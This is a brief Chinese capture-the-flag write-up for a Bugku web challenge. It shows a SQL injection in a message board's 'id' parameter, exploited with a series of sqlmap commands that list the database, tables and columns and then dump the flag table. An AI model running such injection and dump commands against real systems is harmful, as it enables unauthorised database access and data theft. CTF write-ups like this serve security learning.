新版newbugku-web5-injection Writeup

打开网页，看到一个留言板

不知道为什么，看到flag这个字眼就特别兴奋。。。。。于是点进去看看

看到URL地址可能存在SQL注入：

http://47.95.208.167:10005/?mod=read&id=1

于是可爱的我打开sqlmap跑一下试试

sqlmap -u "http://47.95.208.167:10005/?mod\=read&id=1" --current-db

卧槽，竟然跑出来了，这题好弱。。。。那我们就找flag吧,爆表。。。

sqlmap -u "http://47.95.208.167:10005/?mod\=read&id=1" -D web5 --tables –batch

有一个名字叫flag的表，，，继续，爆字段。。。

sqlmap -u "http://47.95.208.167:10005/?mod\=read&id=1" -D web5 -T flag --columns –batch

只有一个flag的字段，，，那就爆数据吧。。。。

sqlmap -u "http://47.95.208.167:10005/?mod\=read&id=1" -D web5 -T flag -C flag --dump  --batch

得到flag。。。。。这题好弱。。